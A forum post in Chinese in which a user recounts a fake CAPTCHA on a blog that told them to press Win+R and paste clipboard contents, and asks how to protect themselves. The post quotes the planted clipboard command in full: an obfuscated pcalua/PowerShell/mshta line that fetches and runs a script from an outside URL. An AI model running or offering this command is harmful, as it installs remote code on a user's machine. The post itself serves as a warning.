大家好，今天早上，我开始上班时，想开始浏览一些新闻博客/网站来开启新的一天。当我访问Crooked Timber时，我看到一个验证码页面，而不是新闻，这看起来像是一个传统的Google验证码。我点击了它，加载旋转，然后右侧打开了一个框，显示着传统的“验证你是人类”的白色标题，背景是蓝色。它显示了两个“手动验证步骤”：1. 按Win + R 2. 按Ctrl + V并点击运行。起初我以为这是一种新型验证码，检查物理键盘是否连接到浏览器。但我立刻意识到这是试图让我在我的机器上运行一个脚本。我打开了一个新的窗口，令我惊讶的是，我的剪贴板中有新的内容：“pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi"”我将它提交给了我工作公司提供的一个大型语言模型，它告诉我绝对不要运行它（我本来就不打算运行），并解释了这个命令会从该URL下载和运行一个脚本。未来我该如何保护自己免受这些诈骗/黑客尝试？我一直认为自己是“准备好的”，但我感到惊讶。你有遇到过这样的事情吗？你是如何保护自己的？